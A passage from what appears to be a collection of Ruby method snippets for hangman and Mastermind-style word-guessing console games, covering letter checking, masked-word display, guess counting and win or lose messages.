index|\n\t\t\tif letter == correct\n\t\t\t\t@display[2*index+1] = letter\n\t\t\t\tputs @display\n\t\t\t\t@attempted_letters << letter\n\t\t\t\tend\n\t\t\tend\n\t\t\t@number_of_guesses -= 1\n\t\t\treturn true\n\t\telse \n\t\t\treturn false\n\t\tend \n\tend", "def display_game(word, guesses, chances)\n puts \"\\n***********************************\"\n puts \"Your word: #{word}\"\n puts \"\\nChances left: #{chances}\"\n puts \"Your guesses: #{guesses_s(guesses)}\"\n puts \"Enter a letter: \"\nend", "def guessed_word(word)\n\t\tif @ans_word == word\n\t\t\tputs \"You are a genious\"\n\t\telse\n\t\t\tputs \"guess again\"\n\t\t\t@guess_word.pop\n\t\tend\n\tend", "def check_player_words(player_guess_word)\n word.chomp.chars.each_with_index{\n |item, index|\n if item == player_guess_word.chomp.chars[index].to_s # exactly equal and in the same postion\n result = \"Exact\"\n elsif word.chomp.include?(player_guess_word.chars[index].to_s) # just includes the letter\n result = \"Near\"\n else # other condition that either not exact nor includes is.\n result = \"Miss\"\n end\n sleep(SLEEP_TIME) # just stop for a time make a good user experience\n puts \"Letter: #{player_guess_word.chars[index]} : #{result}\"\n }\n end", "def get_word\n @word_to_guess.join\n end", "def get_word_for_print(letters, good_letters)\n result = ''\n letters.each do |item|\n result += if good_letters.include?(item)\n item + ' '\n else\n '__ '\n end\n end\n result\n end", "def setprintword()\n\t\treturn @guessing_word.join(\" \")\n\tend", "def guess(letter)\r\n\t\t@guessed << letter.downcase\r\n\t\t@word[0].each_index do |i| #Iterate through indexes instead of values\r\n\t\t\tif @word.dig(0,i) == letter #since @word is an array inside an array, dig helps us look in word ([0]) each index for the letter.\r\n\t\t\t\t@hidden_word[i] = letter #if found, substitute \"_\" for the letter guessed in the same index for @hidden_word\r\n\t\t\tend\r\n\t\tend\r\n\t\tp @hidden_word #give feedback of results\r\n\tend", "def match_letters #handle_guess\n\t\tindexes_matched = @word_array.each_index.select { |i| @word_array[i] == @guess}\n\n\t\tfor x in indexes_matched do\n\t\t\t@result_array[x] = guess\n\t\tend\n\n\t\tputs @result_array\n\tend", "def match_letters #handle_guess\n\t\tindexes_matched = @word_array.each_index.select { |i| @word_array[i] == @guess}\n\n\t\tfor x in indexes_matched do\n\t\t\t@result_array[x] = guess\n\t\tend\n\n\t\tputs @result_array\n\tend", "def game_board(guess_letter)\r\n\t puts \"\"\t \r\n\t result_index_array = (0 ... @secret_word.length).find_all { |i| @secret_word[i,1] == guess_letter }\r\n\t \r\n\t # Change the output to show a successful guess\r\n\t if result_index_array.size == 0\r\n\t @incorrect_letters += guess_letter\r\n\t\t@incorrect_letters += \", \"\r\n\t else \r\n\t result_index_array.each { |index| @correct_letters[2*index] = guess_letter }\r\n end\r\n\t \r\n\t # Update variables and check if the game has been won\r\n\t @turn_count -= 1\r\n\t puts @correct_letters\r\n\t #@incorrect_letters.each {|letter| print \"#{letter}, \"}\r\n\t puts \"\\nIncorrect Guesses: #{@incorrect_letters}\"\r\n\t win_game if @correct_letters.count('_') == 0\r\n\t end_turn\r\n\tend", "def get_word_for_print(letters, good_letters)\n result = \"\"\n\n letters.each do |letter|\n result += if good_letters.include?(letter)\n letter + \" \"\n else\n \"_ \"\n end\n end\n\n result\n end", "def feedback\n puts \"Spelling errors\"\n #Default errors is 0\n errors = 0\n #For each word in the word hash\n $words.each do |word|\n #If the word is spelled wrong prints the word and increments errors\n if word[1] == false\n puts \"#{word[0]}\"\n errors += 1\n end\n end\n #If there are no errors states as much\n if errors == 0\n puts \"No errors found\"\n end\nend", "def show_board\n\t\tputs \"You have use #{@turn} of 9 turns. Type \\\"save\\\" to save game and quit.\"\n\t\tshow_hangman\n\t\tputs \"Word: #{@guess.split(\"\").join(\" \")}\"\n\t\tputs\n\t\tputs \"Misses: #{@wrong_letters.split(\"\").join(\" \")}\"\n\t\tputs\n\tend", "def display\n\t\tsecret_word_display = []\n\t\t@secret_word.split(\"\").each do |char|\n\t\t\tif @guessed_letters.include?(char)\n\t\t\t\tsecret_word_display << char\n\t\t\telse\n\t\t\t\tsecret_word_display << \"_\"\n\t\t\tend\n\t\tend\n\t\tputs \"Secret word: #{secret_word_display.join(\" \")}\"\n\tend", "def display_incorrect_guesses\n if @wrong_guesses.empty?\n puts 'No wrong guesses so far.'\n else\n print 'Wrong guesses: '\n @wrong_guesses.each do |letter|\n print \"#{letter} \"\n end\n end\n end", "def check_guess(guess)\n # checks human guess, displays discovered, and return if letter found\n letter_found = false\n self.secret_word.split('').each_with_index do |chr, ind|\n if chr == guess\n self.currently_discovered[ind] = chr\n letter_found = true\n end\n end\n p self.currently_discovered\n letter_found\n end", "def guess_letter(a_letter)\n p a_letter.downcase\n @word.split(\"\").each_with_index do |another_letter, index|\n if a_letter == another_letter\n @input_word[index] = a_letter\n puts \"Correct! Here are your guesses so far\"\n p @input_word\n end\n if !@word.include? (a_letter)\n end\n end\n end", "def display\n\t\tputs \"#{@guess_line.join(' ')} | #{@incorrect_guesses_count} | #{@misses.join(' ')}\"\n\tend", "def display_word(word, guesses)\n mask_word = \"\"\n word.chars.each do |char|\n if guesses.include?(char)\n mask_word += char\n else\n mask_word += \"_\"\n end\n end\n return mask_word\nend", "def show_progress\n progress_string=''\n @word_to_guess.each do |letter_in_word_to_guess|\n if has_been_guessed_correctly?(letter_in_word_to_guess)\n progress_string += letter_in_word_to_guess\n else\n progress_string += '_'\n end\n end\n return progress_string\n end", "def show_current_info\n\t\tputs \"--------\"\n\t\tputs \"Hangman!\"\n\t\tputs \"--------\"\n\t\tputs \"Wrong guesses left: #{@guess_counter}\"\n\t\tputs \"Answer does not inlcude: \"\n\t\tputs @incorrect_array.join(', ')\n\t\tputs \"\"\n\t\tputs \"--------------------\"\n\t\tputs @blank_word_array.join(' ')\n\t\tputs \"--------------------\"\n\tend", "def guess?(letter)\n if @guessed_letter.include?(letter)\n puts \"You already guessed that letter!\"\n return\n end\n @guessed_letter << letter\n ​\n found = false\n if @characters.include?(letter)\n found = true \n puts \"Yes that letter is in the word!\"\n else\n puts \"Wrong answer!\"\n end \n ​\n @characters.each_with_index do |char, index|\n if char == letter\n @displayed_character[index] = letter\n end\n end\n found\n end", "def generate_results\n !(@incomplete_word.include? \"_\") ?\n puts(\"Congratulations, you won.\") :\n puts(\"\\nYou failed to guess the words.\")\n end", "def instruction()\n puts \"Welcome to the MasterMind word game\"\n puts \"\\nThe System has been generate a word which includes 5 letters and no duplicate each \\nletter, you are going to guess this word. you have 10 times chance to guess. you \\nwill get a feedback in each turn like below: \\n\\n Exact: The letter is an exact match to the letter in the same position in the code\\n Near: The letter is contained in the code, but is not in the correct position\\n Miss: The letter is not contained in the code\\n\"\n end", "def print_lose\n puts \"Sorry, you made 10 wrong guesses, game over!\"\n puts \"The word was : #{@random_word}\"\n end", "def check_letters(letter_guessed)\n if @secret_word.include?(letter_guessed)\n @characters_guessed_correctly << letter_guessed\n puts 'you guessed correctly'\n puts replace_correct_letters\n else\n puts 'you guessed wrong'\n @guess_count -= 1\n end\n end", "def boardprint\n p @board\n puts \"#{@words}\" + \" words\"\n puts \"#{@phraseletters}\" + \" letters overall\"\n puts \"#{guess_count}\" + \" guesses made / \"\"#{@guesses_remaining}\" + \" guesses remaining\"\n puts \"#{@remaining}\" + \" letters remaining\"\n end", "def check_guess(letter)\n\t\t# If the guessed letter is in the word, replace \"_\" in the guess variable with the letter in the right spot\n\t\t@word.each_with_index do |l, i|\n\t\t\tif l == letter\n\t\t\t\t@guess[i] = letter\n\t\t\tend\n\t\tend\n\t\t# If the guessed word and the answer are the same, the user won!\n\t\t# Show message and if the game was previously saved, delete it\n\t\tif @word.join == @guess\n\t\t\tputs \n\t\t\tshow_board\n\t\t\tputs \"You won!!\"\n\t\t\tif @running_saved_game != nil\n\t\t\t\tover_write_data\n\t\t\tend\n\t\t\tgo_again\n\t\t# Got a letter but didn't win. Get another guess\n\t\telsif @word.include?(letter)\n\t\t\tputs\n\t\t\tputs \"You got a letter!\"\n\t\t\tget_guess\n\t\t# Letter wasn't in word, put letter in missed letter variable and guess again\n\t\telse\n\t\t\tputs \n\t\t\tputs \"No #{letter}'s.\"\n\t\t\t@wrong_letters.sub!(\"_\", letter)\n\t\t\t@turn += 1\n\t\t\tget_guess\n\t\tend\n\tend", "def check_if_correct(word, letter)\n if word.include?(letter)\n index = word.index(letter)\n word[index] = '' # Clear the letter from word so it can check for other instances of letter\n @hints[index] = letter\n check_if_correct(word, letter) # It will loop through every instace of letter on word\n elsif !@hints.include?(letter)\n @incorrect.push(letter) unless @incorrect.include?(letter)\n @lives += 1\n end\n end", "def guessed_word(alphabet,position)\n\t\tindex = position-1\n\n\t\t# Check for repeating guess by comparing already existing guesses from the hash.\n\t\tif guessed_words.keys.index(position) != nil && guessed_words[position].upcase == alphabet.upcase\n\t\t\tputs \"Don't repeat the same guess\"\n\t\t\tputs \"You have #{guesses} guesses left.\"\n\n\t\t# If the guess is same as that of the original word's letter, its a correct guess\n\t\telsif original_word[index] == alphabet.upcase\n\t\t\thidden_word[index] = alphabet.upcase\n\t\t\tguesses_history(alphabet,position)\n\t\t\tputs \"Congrats!!! Your guess is correct.\"\n\t\t\tputs \"You have #{guesses_left} guesses left.\"\n\t\t# Additional condition for downcase correct guesses.\n\t\telsif original_word[index] == alphabet.downcase\n\t\t\thidden_word[index] = alphabet.downcase\n\t\t\tguesses_history(alphabet,position)\n\t\t\tputs \"Congrats!!! Your guess is correct.\"\n\t\t\tputs \"You have #{guesses_left} guesses left.\"\n\n\t\t# Other than repeat and correct guess, all other guesses are worng and just add the guesses to the hash to show repeat case in future.\n\t\telse\n\t\t\tputs \"Sorry! That's a wrong guess.\"\n\t\t\tputs \"You have #{guesses_left} guesses left.\"\n\t\t\tguesses_history(alphabet,position)\n\t\tend\n\t\tputs \"The status of the word is: #{hidden_word}\" \n\tend", "def guess\n\t\tcollect_words_of_length\n\t\tputs \"Already guessed letters by computer: #{@guessed_letters}\"\n\t\t@guessing_letter = nil\n\t\twhile @guessing_letter == nil || invalid?(@guessing_letter)\n\t\t\t@guessing_letter = guessing_letter\n\t\tend\n\t\t@guessed_letters << @guessing_letter\n\t\t@guessing_letter\n\tend", "def check_letter(guess)\n if @word.include? guess\n puts \"You chose wisely!\"\n #find which position(s) the guess is in the word array\n correct_index_arr = @word.each_index.select { |i| @word[i] == guess }\n # rebuild @game_status with the correct letter guessed into that position of the word\n correct_index_arr.each do |index|\n @game_status[index] = guess\n end\n # if they don't make guess and put an empty response\n elsif guess.empty?\n puts \"You didn't make a guess. Try again.\"\n # if the user guesses the same wrong letter again\n elsif @wrong_guesses.include? guess\n puts \"You guessed that before! Try again.\"\n else\n @guesses_remaining -= 1\n puts \"wrong guess, the guesses remaining: #{@guesses_remaining}\"\n @wrong_guesses.push(guess)\n end\n end", "def correct_guess?(guess)\n if guess.length == 1\n if @secret_word.include?(guess)\n puts \"That letter is in the secret word!\"\n (0..@secret_word.length).each do |index|\n if @secret_word[index] == guess\n @game_word[index * 2] = guess\n end\n end\n else\n puts \"That letter is not in the secret word.\"\n end\n else\n phrase = @secret_word.split(\" \")\n game_phrase = @game_word.split(\" \")\n\n if phrase.include?(guess)\n puts \"That word is correct!\"\n phrase.each_with_index do |word,idx|\n if word == guess\n game_phrase[idx] = guess.split(\"\").join(\" \")\n @game_word = game_phrase.join(\" \")\n end\n end\n else\n puts \"That word is not a correct guess.\"\n end \n end\n end", "def whole_word_guess(input,dead_man)\n guessed_word_array = input.split(//)\n if guessed_word_array == @correct_word_array\n win\n else\n puts \"The word you have guessed is incorrect!\"\n dead_man.wrong_guesses += 1\n display(dead_man) \n end\n end", "def guess\n puts \"Enter a letter\"\n puts\n letter = gets.chomp\n if @word_array.include?(letter)\n @word_array.each_with_index do |char, index|\n if char == letter\n @puzzle_array[index] = letter\n end\n end\n puts \"Correct!\"\n else\n puts \"Try again!\"\n end\n @counter -= 1\n end", "def prompt_for_guess(shortWord, word, consonants, vowel)\r\n\r\n Console_Screen.cls #Clear the display area\r\n\r\n consonants.push(vowel) #To make things easy, add the vowel to the\r\n #list of consonants\r\n\r\n wordArray = word.split(\" \") #Split the secret word into an array\r\n\r\n i = 0 #Initialize index variable to zero\r\n\r\n #Loop once for each letter in the word (stored in an array)\r\n wordArray.each do |letter|\r\n\r\n match = false #Initialize the variable with a starting value of false\r\n\r\n #Loop once for each consonant stored in the consonants array\r\n consonants.each do |character|\r\n\r\n #Compare the current character from the consonants array to the\r\n #current letter in the wordArray array\r\n if character == letter then\r\n match = true #Set variable value to indicate a match\r\n break #Terminate loop execution when a match occurs\r\n end\r\n\r\n end\r\n\r\n #If there is no matching character in the consonants array for the\r\n #current letter in the wordArray array, replace that letter in the\r\n #wordArray with an underscore character\r\n if match == false then\r\n wordArray[i] = \"_\" #Replace the current character with an\r\n end #underscore\r\n\r\n i = i + 1 #Increment the variable's value by 1\r\n\r\n end\r\n\r\n #Once the contents of the array have been formatted with underscores,\r\n #convert the contents of the array back into a word\r\n word = wordArray.join(\" \")\r\n\r\n #Allow the player up to three guesses\r\n 3.times do |i| #i equals 0 on the first iteration of the loop\r\n\r\n Console_Screen.cls #Clear the display area\r\n\r\n #Prompt the player to try to guess the secret word\r\n puts \"I am thinking of a word.\\n\\n\\n\\n\\n\\n\"\r\n print \"Here is your clue: \" + word + \"\\n\\n\\n\\n\\n\\n\\n\\n\"\r\n print \"What do you think this word is? \"\r\n reply = STDIN.gets #Collect the player's reply\r\n reply.chop! #Remove the end of line marker\r\n reply = reply.upcase #Convert the reply to all uppercase\r\n\r\n #Analyze the players guess\r\n if reply == shortWord then #The player's guessed the secret word\r\n\r\n Console_Screen.cls #Clear the display area\r\n print \"Correct! Press Enter to continue.\"\r\n Console_Screen.pause #Pause the game\r\n break #Terminate the execution of the loop\r\n\r\n else #The player did not guess the secret word\r\n\r\n Console_Screen.cls #Clear the display area\r\n\r\n #Display a message based on how many turns remain\r\n if i == 1 then\r\n puts \"You entered: \" + reply.upcase #display user answer\r\n print \"Wrong! You have one guess left. Press Enter to \" +\r\n \"try again.\"\r\n elsif i == 2\r\n puts \"You entered: \" + reply.upcase #display user answer\r\n shortWord = shortWord.downcase #converts word to lowercase\r\n print \"Sorry, you lose.\\n\\n\"\r\n print \"The word was \" + shortWord.sub(/^./) {$&.upcase} +\r\n #regex reads as follows: substitute \"beginning\" for \"anything\"\r\n #'contains complete matched text of uppercase= $&.upcase'\r\n #method .capitalize would accomplish this as well\r\n \". Press Enter to continue.\"\r\n else\r\n puts \"You entered: \" + reply.upcase #display user answer\r\n print \"Wrong! Press Enter to try again.\"\r\n end\r\n\r\n Console_Screen.pause #Pause the game\r\n\r\n end\r\n\r\n end\r\n\r\n end", "def check_guess(player_guess, display)\n letter_found = false\n @secret_word.chars.each_with_index do |char, index|\n if char.downcase == player_guess\n display[index] = char\n letter_found = true\n end\n end\n letter_found\n end", "def presence_of_letter(user_guess)\n\t\tif @game_word.include? user_guess \n\t\t\tputs \"Nice! Your letter appears #{@presence_counter} times. Here is an update on your progress: \"\n\t\t\tp @current_state.join\n\t\t\t# return @current_state.join\n\t\telse\n\t\t\tputs \"Too bad! \\\"#{user_guess}\\\" is not in the mystery word! Here is your progress so far: \"\n\t\t\tp @current_state.join\n\t\t\t# return \"Too bad!\"\n\t\tend\n\n\t\tif @current_state.include?(\" _ \" )\n\t\t\tputs \"You have #{@total_guesses} guesses remaining.\"\n\t\tend\n\tend", "def check(guess)\n correct = 0\n\n if @guessed.include?(guess)\n @message = \"Choose another letter!\"\n else\n @message = \"\"\n @guessed << guess\n @to_guess.each_with_index do |char, index|\n if guess == char\n @guessing[index] = guess\n correct += 1\n end\n end\n @lives -= 1 if correct == 0\n end\n\n if @guessing.join == @to_guess.join\n @message = \"#{@guessing.join} was the word. You won!!\"\n @status = \"disabled\"\n end\n if @lives == 0\n @message = \"No lives left! You lost! The word was: \\\"#{@to_guess.join}\\\"\"\n @status = \"disabled\"\n end\n\n end", "def update_display \r\n \tletters = @secret_word.chars\r\n \tletters.each_with_index {|letter, index| @word_display[index] = letter if letter == @guess}\r\n \t@word_display\r\n end", "def check_guess(user_guess)\n\t\t@guess_count += 1\n\t\tletter_guessed(user_guess)\n\t\tif @answer_word.include?(user_guess)\n\t\t\tupdate_word(user_guess)\n\t\t\tputs \"-- RIGHT ON! #{user_guess} is in the word! Keep going! --\"\n\t\telse \n\t\t\tputs \"-- WRONG! That letter is not in the word! Try again: --\"\n\t\tend\n\t\t@guess_count\n\tend", "def guessed_wrong_letter()\n if $hidden_word_arr.exclude?($input)\n $guessed.append($input)\n end\n end", "def give_feedback(guess)\n guess.split('').each_with_index do |val, index|\n if val == @code[index]\n print 'M'\n elsif @code.split('').include?(val)\n print 'O'\n else\n print 'X'\n end\n end\n puts\n end", "def input_evaluation(guess, correct_word)\n if correct_word.word.include?(guess)\n # We learned that .each_with_index can be used to locate each letter corresponding with each spacific index\n # Then if the letter matches it will subsitue the \"_\", at the correct index, with the corresponding letter\n correct_word.word.each_with_index do |letter, index|\n if letter == guess\n correct_word.progress[index] = guess\n end\n end\n else\n # Storing wrong letters into an array and updating max_guesses\n correct_word.wrong_guesses << guess\n correct_word.max_guesses -= 3\n end\nend", "def to_s()\r\n\t\treturn guessed_word().split('').join(' ')\r\n\tend", "def guess?(letter)\n if !self_is_letter?(letter)\n puts \"Not a letter!\"\n return false\n end\n if @word.include? letter\n if(@word.count(letter) > 1)\n while(@word.include? letter)\n puts \"Hit this while loop\"\n index = @word.index(letter)\n @word.slice!(index,0)\n @word[index] = '_'\n\n puts \"Word\" + @word\n @guessedWord.slice!(index,0)\n @guessedWord[index] = letter\n\n end\n else\n index = @word.index(letter)\n\n @guessedWord.slice!(index,0)\n @guessedWord[index] = letter\n\n\n\n end\n\n\n output_word()\n return true\n end\n p \"Word does not contain #{letter}\"\n @health -= 1\n p \"you have #{@health} tries left\"\n return false\n end", "def prompt_for_guess(shortWord, word, consonants, vowel)\n\n\tConsole_Screen.cls #clear the display area\n\n\tconsonants.push(vowel) #to make things easy, add the vowel to the list \n\t #of consonanats\n wordArray = word.split(\" \") #split the secret word into an array\n\n i = 0 #initialize index variable to zero\n\n #loop once for each letter in the word (stored in an array)\n wordArray.each do |letter|\n\n \tmatch = false #initial the variable with a string value of false\n\n \t#loop once for each consonant stored in the consonants array\n \tconsonants.each do |character|\n\n \t\t#compare the current character from the consonants\n \t\t#array to the current letter in the wordArray array\n \t\tif character == letter then\n \t\t\tmatch = true #set variable value to indicate a match\n \t\t\tbreak #terminate loop execution whe a match occurs\n \t\tend\n\n \tend\n\n \t#if there is no matching character in the consonants\n \t#array for the current letter in the wordArray\n \t#array, replace that letter in the wordArray with \n \t#an underscore chracter\n \tif match == false then\n \t\twordArray[i] = \"_\" #replace the current character withunderscore\n \tend\n\n \ti = i + 1 #increment the variable's value by 1\n\n end\n\n #once the contents of the array hve been formatted with underscores\n #convert the contents of the array back into a word\n word = wordArray.join(\" \")\n\n #allow the player up to three guesses\n 3.times do |i| #i equals 0 on the first iteration of the loop\n\n \tConsole_Screen.cls #clear the display area\n\n \t#prompt the player to try to guess the secret word\n \tputs \"I am thinking of a word.\\n\\n\\n\\n\\n\"\n \tprint \"Here is your clue: \" + word + \"\\n\\n\\n\\n\\n\\n\\n\\n\"\n \tprint \"What do you think this word is? \"\n \treply = STDIN.gets #collect the player's reply\n \treply.chop! #remove the end of line marker\n \treply = reply.upcase #convert the reply to all uppercase\n\n \t#analyze the player's guess\n \tif reply == shortWord then #the player guessed the secret word\n\n \t\tConsole_Screen.cls print \"Correct! Press Enter to continue\"\n \t\tConsole_Screen.pause #pause the game\n \t\tbreak #terminate the execution of the loop\n\n \telse #the player did not guess the secret word\n\n \t\tConsole_Screen.cls #clear the display area\n\n \t\t#display a message based on how many turns remain\n \t\tif i == 1 then\n \t\t\tprint \"Wrong! You have one guess left. Press Enter to \" +\n \t\t\t\"try again.\"\n\n \t\telsif i == 2 \n \t\tprint \"Sorry, you lose.\\n\\n\"\n \t\tprint \"The word was \" + shortWord.capitalize + \" Press Enter to continue.\"\n \telse\n \t\tprint \"Wrong! Press Enter to try again.\"\n \tend\n\n \tConsole_Screen.pause #pause the game\n end\nend\nend", "def give_feedback\n print 'Matches: '\n puts 'Black ' * @secret.exact_matches(last_guess) + \\\n 'White ' * @secret.near_matches(last_guess)\n end", "def print_win\n puts \"Wow! You did it, the word is #{@random_word}! You guessed the word & you WIN!\"\n end", "def guess_compare(guess)\n # Defining correct_guess as a guess where the letter is properly included\n correct_guess = @secret_word.include? guess\n if correct_guess == true\n puts \"The letter #{guess} is correct! Good job!\"\n print_teaser guess\n else\n @lives -= 1\n puts \"The letter #{guess} is incorrect!\"\n puts \"The hangman has #{@lives} lives left!\"\n end\n player_guess\n end", "def print_instructions\r\n puts \"Welcome! Enter a letter to make a guess and if you're right, the correct letters will be revealed in the word. If you're wrong, your hangman will become more complete and you'll be one step closer to losing the game!\"\r\n puts \"Good luck!\"\r\n end", "def show_wrong_letters\n\t\t@wrong_letters.sort.join(\", \")\n\tend", "def guesses_include_in?(letter)\n #puts @word\n word = @word.split(\"\")\n guessChar = @guesses.split(\"\")\n #puts \"***guesses_include_in? #{word} #{guessChar}\"\n word.each do |w|\n guessChar.each do |g|\n #puts \"w == g && g == letter\"\n #puts \"#{w} == #{g} && #{g} == #{letter} ==> #{w == g && g == letter}\"\n if w == g && g == letter\n return true\n else\n #return false\n end\n end\n\n end\n return false\nend", "def check_answer(player_guess)\n\n #Split the players guess into an array of chars\n player_chars = player_guess.split('')\n\n # First see if the player list equals the game list\n # If it does the player has won and there is no point running anymore checks.\n if player_chars == @word_to_guess\n @player.won = true\n #Otherwise.....\n else\n # Roll Through each character in the player guess array\n for char_index in 0..WORDSIZE\n # Check if that character exists in the game word array\n # if it doesnt we dont need to check its position\n if @word_to_guess.include?(player_chars[char_index])\n # Check if the Character exists in the same word position as the game word\n if @word_to_guess[char_index] == player_chars[char_index]\n # If it does, mark the position as correct\n @feedback[char_index] = ' |O| '\n else\n # Otherwise mark it as in the word, but the wrong position\n @feedback[char_index] = ' |-| '\n end\n else\n # if the character is not in the word, mark it as wrong.\n @feedback[char_index] = ' |X| '\n end\n # Add the Players guess, to the guess array for easy printing in the screen class\n @player.player_guess[char_index] = ' '+player_chars[char_index].to_s+' '\n end\n end\n end", "def guess(letter, secret_word)\r\n \t\t\r\n \t\t\r\n \t\tright = false\r\n \t\r\n \t\tsecret_word.each do|char| \r\n\r\n \t\t\tif char == letter\r\n \t\t\t\tright = true\r\n \t\t\tend\r\n \t\tend\r\n \t\t\r\n \t\tif right == true\r\n \t\t\tputs \"correct!\"\r\n \t\t\t\r\n \t\telse\r\n \t\t\tputs \"wrong!\"\r\n \t\tend\r\n \t\t@guess_count -= 1\r\n\r\n \t\tputs \"Guesses remaining #{guess_count}\"\r\n \t\t\r\n\r\n\r\n \tend", "def print_codebreaker_intro_hard\n puts 'Welcome to Mastermind! You are playing the role of the codebreaker.'\n puts 'The computer will choose a 4-color code that you will try to guess.'\n puts \"The valid letters/colors are #{'R'.red}, #{'O'.light_red}, #{'Y'.yellow}, #{'G'.green}, #{'B'.blue}, #{'I'.light_blue}, and #{'V'.magenta}.\"\n puts 'You will get feedback from the code master after each round.'\n puts 'The location of the feedback is random and does not necessarily correspond to locations in your guess.'\n puts 'A \"√\" indicates that the right color in the right place somewhere.'\n puts 'An \"X\" indicates there is a color that is in the code but not in the right place.'\n puts 'Finally, a \".\" indicates a color is not part of the code.'\n puts 'You have 12 rounds to guess correctly. Good luck!'\n puts ''\n end", "def check_guess(word, char)\n if word.downcase.include?(char.downcase) && AVAILABLE_LETTERS.include?(char.downcase)\n AVAILABLE_LETTERS.delete(char.downcase)\n else\n AVAILABLE_LETTERS.delete(char.downcase)\n $incorrect_guesses += 1\n end\n puts display_word(word)\nend", "def current_status\n result = \"\"\n\n @guessing_word.split(\"\").each { |letter|\n if @guess_array.include?(letter)\n result << letter\n else\n result << \"_ \"\n end\n }\n \n return result\n end", "def guess_hidden_word\n puts (\"Enter your guess: \")\n end", "def checkLetter(letter)\n @word.split(\"\").each_with_index do |item, index|\n if item == letter\n @guess[index] = letter\n end\n end\n puts @guess\nend", "def answer_update \r\n\t\t@guess_word.each_index do |i|\r\n\t\t\t@guess_word[i] ||= \"_\"\r\n\t\tend \r\n\t\tp @guess_word\r\n\tend", "def draw_board #Draws the blanks and correctly guessed letters\n\t$winning_word.each_with_index do |letter, index|\n\t\tif $current[index] == nil\n\t\t\t$current[index] = \"_\"\n\t\telse\n\t\t\t$current[index]\n\t\tend\n\tend\n\tputs $current.join(\" \")\n\tputs \"Previously incorrect guesses: #{$already_guessed}\"\nend", "def letter_guess(input,dead_man)\n if @letters_guessed_array.include?(input) || dead_man.wrong_letters.include?(input)\n puts \"You have already guessed this letter!\"\n display(dead_man)\n elsif @correct_word_array.include?(input)\n @letters_guessed_array.each_with_index do |letter, index|\n @letters_guessed_array[index] = input if @correct_word_array[index] == input\n end\n puts \"The letter #{input} is in the word.\"\n if @letters_guessed_array.include?(\"__\")\n display(dead_man)\n else\n win\n end\n else\n puts \"The letter #{input} is not in the word.\"\n dead_man.wrong_letters.push(input)\n dead_man.wrong_guesses += 1\n display(dead_man)\n end\n end", "def check_word(word)\n if self.player.word_list.include?(word)\n puts \"Already found that one!\"\n elsif word.length < 4\n puts \"That word is too short. Words must be 4 letters or longer.\"\n elsif word.chars.include?(self.board.inner_letter) == false\n puts \"Missing center letter.\"\n elsif self.board.word_list.include?(word)\n #get points total for word\n points = self.board.get_word_value(word)\n self.player.add_points(points)\n #adds word to wordlist\n self.player.add_word(word)\n if self.board.pangram?(word)\n puts \"🐝 PANGRAM FOUND 🐝\"\n puts \"The bees are pleased. #{points} added to your score.\"\n else\n puts \"#{self.nice_messages.sample} #{points} point#{\"s\" if points > 1} added to your score.\"\n end\n self.player.display_total\n else\n puts \"Not in word list :(\"\n end\n end", "def guess(guess)\r\n\t\t# Make sure the guess is either a letter or the whole word\r\n\t\tif guess.length != 1 && guess.length != @win_word.length\r\n\t\t\tp @remaining_guesses.to_s + \" guesses left\"\r\n\t\t\tp \"Guess a letter, or the complete word!\"\r\n\t\t# check for repeated guesses\r\n\t\telsif @past_guesses.include? guess\r\n\t\t\tp @remaining_guesses.to_s + \" guesses left\"\r\n\t\t\tp @hint\r\n\t\t\tp \"You guessed that already!\"\r\n\t\t# check if they guessed the entire word correctly\r\n\t\telsif guess == @win_word\r\n\t\t\twin\r\n\t\t# if the letter is not in the word\r\n\t\telsif !@win_word.include? guess\r\n\t\t\t# Add guess to arrayof past guesses\r\n\t\t\t@past_guesses << guess\r\n\t\t\tif @remaining_guesses == 1\r\n\t\t\t\tlose\r\n\t\t\telse\r\n\t\t\tguesses_remaining\r\n\t\t\tp @remaining_guesses.to_s + \" guesses left\"\r\n\t\t\tp @hint\r\n\t\t\tp \"Sorry, try again!\"\r\n\t\t\tend\r\n\t\t# if the letter is in the word\r\n\t\telsif @win_word.include? guess\r\n\t\t\t# Add guess to arrayof past guesses\r\n\t\t\t@past_guesses << guess\r\n\t\t\tguesses_remaining\r\n\t\t\tp @remaining_guesses.to_s + \" guesses left\"\r\n\t\t\tupdate_hint(guess)\r\n\t\t\tif @hint_str == @win_word\r\n\t\t\t\twin\r\n\t\t\telse\r\n\t\t\t\tp \"Nice guess!\"\r\n\t\t\tend\r\n\t\telse\r\n\t\t\tp \"Error\"\r\n\t\tend\r\n\r\n\tend", "def FeedbackDisplay(guess, array, guesses, contains, hit, used)\n system \"clear\" or system \"cls\" # Clears the terminal screen so it doesn't look cluttered\n StartScreen(false)\n puts \"│ #{guess[0]} │ #{guess[1]} │ #{guess[2]} │ #{guess[3]} │ #{guess[4]} │\".center(CONSOLE_WIDTH)\n puts \"│#{array[0]} │#{array[1]} │#{array[2]} │#{array[3]} │#{array[4]} │\".center(CONSOLE_WIDTH)\n puts \"├─────┴─────┴─────┴─────┴─────┤\".center(CONSOLE_WIDTH)\n if guesses > 9\n puts \"│ Guesses left: #{guesses} │\".center(CONSOLE_WIDTH)\n else\n puts \"│ Guesses left: #{guesses} │\".center(CONSOLE_WIDTH)\n end\n puts \"├─────────────────────────────┤\".center(CONSOLE_WIDTH)\n puts \"│ Word contains: #{contains} │\".center(CONSOLE_WIDTH)\n puts \"├─────────────────────────────┤\".center(CONSOLE_WIDTH)\n puts \"│ Word: #{hit[0]}#{hit[1]}#{hit[2]}#{hit[3]}#{hit[4]} │\".center(CONSOLE_WIDTH)\n puts \"├─────────────────────────────┤\".center(CONSOLE_WIDTH)\n puts \"│ Letters used: │\".center(CONSOLE_WIDTH)\n puts \"│ #{used} │\".center(CONSOLE_WIDTH)\n puts \"└─────────────────────────────┘\".center(CONSOLE_WIDTH)\nend", "def feedback(word)\n feedback = \"\"\n\n if word.length == 1\n unique_letters = [word]\n else \n unique_letters = word.chars.uniq\n end \n\n @secret_word.each_char { |ch|\n letter_exits = false\n unique_letters.each do |letter|\n if letter == ch\n feedback << letter + \" \"\n letter_exits = true\n end\n end\n if letter_exits == false\n feedback << \"_ \"\n end\n }\n return feedback\n end", "def check_word(letter)\n i = 0\n @secret_word.each_char do |char|\n if char == letter\n @display_word[i] = letter\n end\n i += 2 ##because in display word after each letter or underscore there is a space\n end\n return @display_word\n end", "def respond_to_guess(letter)\n letter = letter.clone.downcase\n\n if @incorrect_letters.include?(letter) || @progress.include?(letter) || @progress.include?(letter.upcase)\n puts \"You already guessed that letter!\"\n puts \"\"\n elsif @word.include?(letter) || @word.include?(letter.upcase)\n update_progress(letter)\n unless @progress.include?(\"_\")\n @round_finished = true\n @guessed = true\n end\n else\n @incorrect_letters << letter\n @round_finished = true 